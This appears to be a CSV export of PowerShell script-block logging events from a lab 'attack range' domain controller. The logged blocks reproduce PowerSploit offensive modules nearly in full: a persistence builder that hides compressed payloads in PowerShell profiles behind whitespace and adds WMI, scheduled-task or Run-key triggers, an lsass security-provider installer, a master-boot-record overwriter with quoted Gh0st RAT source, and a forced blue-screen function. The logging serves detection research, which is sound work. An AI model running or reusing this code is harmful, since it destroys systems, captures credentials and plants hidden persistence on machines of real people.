(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo
""@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose ""Persistence script written to $PersistentScriptFile""
$PersistenceRemoval | Out-File $RemovalScriptFile
Write-Verbose ""Persistence removal script written to $RemovalScriptFile""
if ($PassThru)
{
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
Write-Output ([ScriptBlock]::Create($PersistantScript))
}
#endregion
}
function Install-SSP
{
<#
.SYNOPSIS
Installs a security support provider (SSP) dll.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Install-SSP installs an SSP dll. Installation involves copying the dll to
%windir%\System32 and adding the name of the dll to
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
.PARAMETER Remove
Specifies the path to the SSP dll you would like to install.
.EXAMPLE
Install-SSP -Path .\mimilib.dll
.NOTES
The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')]
[CmdletBinding()]
Param (
[ValidateScript({Test-Path (Resolve-Path $_)})]
[String]
$Path
)
$Principa",,,,,,,,,,,"'2022-05-02T18:24:38.745646100Z'","4104132150x0122450Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122450Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local23aram (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[Alias('Path')]
[String]
$FilePath,
[Parameter( Mandatory = $True )]
$ElevatedPersistenceOption,
[Parameter( Mandatory = $True )]
$UserPersistenceOption,
[ValidateNotNullOrEmpty()]
[String]
$PersistenceScriptName = 'Update-Windows',
[String]
$PersistentScriptFilePath = ""$PWD\Persistence.ps1"",
[String]
$RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"",
[Switch]
$DoNotPersistImmediately,
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#region Validate arguments
if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
{
throw 'You provided invalid elevated persistence options.'
}
if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
{
throw 'You provided invalid user-level persistence options.'
}
$Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the PersistentScriptFilePath option.'
}
$Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the RemovalScriptFilePath option.'
}
$PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
$PersistentScriptFile = ''
$RemovalScriptFile = ''
if ($PersistentPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$PersistentScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)""
}
$RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
if ($RemovalPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$RemovalScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)""
}
if ($PSBoundParameters['FilePath'])
{
$null = Get-ChildItem $FilePath -ErrorAction Stop
$Script = [IO.File]::ReadAllText((Resolve-Path $FilePath))
}
else
{
$Script = $ScriptBlock
}
#endregion
#region Initialize data
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = ""''""
$ElevatedTriggerRemoval = ''
$UserTrigger = ""''""
$UserTriggerRemoval = ''
$CommandLine = ''
#endregion
#region Compress the original payload in preparation for the persistence script
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
#endregion
#region Process persistence options
# Begin processing elevated persistence options
switch ($ElevatedPersistenceOption.Method)
{
'PermanentWMI'
{
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOption.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
'Daily'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
}
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($ElevatedPersistenceOption.Trigger)
{
'AtLogon'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR ""
}
'Daily'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
$ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""'
}
'Registry'
{
$ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
# Begin processing user-level persistence options
switch ($UserPersistenceOption.Method)
{
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$UserTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($UserPersistenceOption.Trigger)
{
'Daily'
{
$UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
$UserTrigger = '""' + $UserTrigger + $CommandLine + '""'
}
'Registry'
{
$UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
#endregion
#region Original script with its persistence logic will reside here
# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
mkdir (Split-Path -Parent $Prof)
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION
}
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
if ($DoNotPersistImmediately)
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
}
else
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"")
}
#endregion
#region Generate final output
# Generate the persistence removal script
$PersistenceRemoval = @""
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo
""@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose ""Persistence script written to $PersistentScriptFile""
$PersistenceRemoval | Out-File $RemovalScriptFile
Write-Verbose ""Persistence removal script written to $RemovalScriptFile""
if ($PassThru)
{
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
Write-Output ([ScriptBlock]::Create($PersistantScript))
}
#endregion
}
function Install-SSP
{
<#
.SYNOPSIS
Installs a security support provider (SSP) dll.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Install-SSP installs an SSP dll. Installation involves copying the dll to
%windir%\System32 and adding the name of the dll to
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
.PARAMETER Remove
Specifies the path to the SSP dll you would like to install.
.EXAMPLE
Install-SSP -Path .\mimilib.dll
.NOTES
The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')]
[CmdletBinding()]
Param (
[ValidateScript({Test-Path (Resolve-Path $_)})]
[String]
$Path
)
$Principa2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122450,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122450,win,373,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0001-6B4A-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table).
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""
""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""
""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
""\\\\.\\PHYSICALDRIVE0"",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw ""The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes.""
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw ""Unable to obtain read/write handle to $DeviceID""
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}
a455a017-2db4-4502-ad88-0c75c3ae73e1C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1",,4104,122439,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Mayhem\Mayhem.psm1",,,"'5388'",,,,,,122439,,,,"a455a017-2db4-4502-ad88-0c75c3ae73e1","function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table).
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
""\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""
""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""
""\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"";
